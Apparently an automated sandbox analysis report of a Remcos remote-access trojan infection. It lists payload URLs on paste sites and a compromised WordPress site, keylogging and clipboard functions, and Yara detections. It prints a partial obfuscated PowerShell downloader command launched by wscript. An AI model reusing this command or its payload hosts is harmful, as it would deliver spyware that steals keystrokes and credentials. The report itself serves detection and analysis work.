Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000008.00000002.2318228940.0000015EC6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.2318228940.0000015EC6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.2318228940.0000015EC6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.2324128930.000001BDAE320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 00000008.00000002.2258056949.0000015EB7A31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB7674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB0F0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.3083725979.000001BDC8340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: powershell.exe, 00000006.00000002.2889045925.000001C1774C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ion=v4.5
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1A11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3016225827.000001BDBFF8C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2756972243.000001ABF1B4D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2656723724.000001C11006D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2258056949.0000015EB7B7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2318228940.0000015EC6219000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2318228940.0000015EC6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.2258056949.0000015EB7674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000008.00000002.2258056949.0000015EB7674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB164A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0142000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB04D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0502000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/Ga0HE/0
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB161F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB164A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0142000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/RdlsG/0
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB164A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/RdlsG/0P
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1932000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/b5xuX/0
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1932000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paste.ee/d/b5xuX/0P
Source: powershell.exe, 0000000D.00000002.2368812441.000001EB4D7F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: powershell.exe, 0000000D.00000002.2750883006.000001EB653E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/GAC
Source: powershell.exe, 0000000D.00000002.2368812441.000001EB4D61F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/pQQ0n3eA
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.gravatar.com
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://themes.googleusercontent.com
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com;
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB19AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gratitudeseekers.com
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB19AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gratitudeseekers.com/wp-includes/customize/c
Source: powershell.exe, 00000002.00000002.3114097341.0000025101D1D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3114097341.0000025100248000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3114097341.0000025100510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB19AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gratitudeseekers.com/wp-includes/customize/css/bd.txt
Source: powershell.exe, 00000004.00000002.2341736438.000001BDB1988000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0484000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB1675000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB032E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0326000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB16A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2341736438.000001BDB0440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.247.100:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.6:49732 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0040A2F3 SetWindowsHookExA 0000000D,0040A2DF,00000000

20_2_0040A2F3

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,

20_2_0040B749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_004168FC OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

20_2_004168FC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,

20_2_0040B749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0040A41B GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,

20_2_0040A41B

Source: Yara match	File source: 18.2.powershell.exe.19971c2ad28.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1eb5d86a448.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.23e13f69f58.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.23e13f69f58.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1eb5d86a448.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.19971c2ad28.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2661640004.0000019971901000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2806942257.0000023E13C40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3796, type: MEMORYSTR

E-Banking Fraud

Contains functionalty to change the wallpaper

Source: Yara match	File source: 18.2.powershell.exe.19971c2ad28.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1eb5d86a448.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.23e13f69f58.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.23e13f69f58.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1eb5d86a448.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.19971c2ad28.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3436475205.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2661640004.0000019971901000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2806942257.0000023E13C40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3796, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\1210\logs.dat, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0041CA73 SystemParametersInfoW,

20_2_0041CA73

System Summary

Malicious sample detected (through community Yara rule)

Source: 18.2.powershell.exe.19971c2ad28.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 18.2.powershell.exe.19971c2ad28.3.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 18.2.powershell.exe.19971c2ad28.3.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.powershell.exe.1eb5d86a448.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 13.2.powershell.exe.1eb5d86a448.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 13.2.powershell.exe.1eb5d86a448.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 23.2.powershell.exe.23e13f69f58.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 23.2.powershell.exe.23e13f69f58.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 23.2.powershell.exe.23e13f69f58.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 23.2.powershell.exe.23e13f69f58.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 23.2.powershell.exe.23e13f69f58.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.powershell.exe.1eb5d86a448.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 13.2.powershell.exe.1eb5d86a448.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 18.2.powershell.exe.19971c2ad28.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 18.2.powershell.exe.19971c2ad28.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000012.00000002.2661640004.0000019971901000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000017.00000002.2806942257.0000023E13C40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 1600, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6764, type: MEMORYSTR	Matched rule: Detects Invoke-Mimikatz String Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 6764, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3796, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3796, type: MEMORYSTR	Matched rule: Detects Invoke-Mimikatz String Author: Florian Roth
Source: Process Memory Space: powershell.exe PID: 3796, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'EQ' + [char]65 + 'R' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'EQ' + [char]65 + 'Jw' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + 'BY' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'VQB1' + [char]65 + 'Gg' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Gg' + [char]65 + 'd' + [char]65 + 'B0' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'cw' + [char]65 + '6' + [char]65 + 'C8' + [char]65 + 'LwB3' + [char]65 + 'Hc' + [char]65 + 'dw' + [char]65 + 'u' + [char]65 + 'Gc' + [char]65 + 'cgBh' + [char]65 + 'HQ' + [char]65 + 'aQB0' + [char]65 + 'HU' + [char]65 + 'Z' + [char]65 + 'Bl' + [char]65 + 'HM' + [char]65 + 'ZQBl' + [char]65 + 'Gs' + [char]65 + 'ZQBy' + [char]65 + 'HM' + [char]65 + 'LgBj' + [char]65 + 'G8' + [char]65 + 'bQ' + [char]65 + 'v' + [char]65 + 'Hc' + [char]65 + 'c' + [char]65 + '' + [char]65 + 't' + [char]65 + 'Gk' + [char]65 + 'bgBj' + [char]65 + 'Gw' + [char]65 + 'dQBk' + [char]65 + 'GU' + [char]65 + 'cw' + [char]65 + 'v' + [char]65 + 'GM' + [char]65 + 'dQBz' + [char]65 + 'HQ' + [char]65 + 'bwBt' + [char]65 + 'Gk' + [char]65 + 'egBl' + [char]65 + 'C8' + [char]65 + 'YwBz' + [char]65 + 'HM' + [char]65 + 'LwBi' + [char]65 + 'GQ' + [char]65 + 'LgB0' + [char]65 + 'Hg' + [char]65 + 'd' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'F0' + [char]65 + 'XQBb' + [char]65 + 'HQ' + [char]65 + 'YwBl' + [char]65 + 'Go' + [char]65 + 'YgBv' + [char]65 + 'Fs' + [char]65 + 'I' + [char]65 + '' + [char]65 + 's' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'b' + [char]65 + 'Bs' + [char]65 + 'HU' + [char]65 + 'bg' + [char]65 + 'k' + [char]65 + 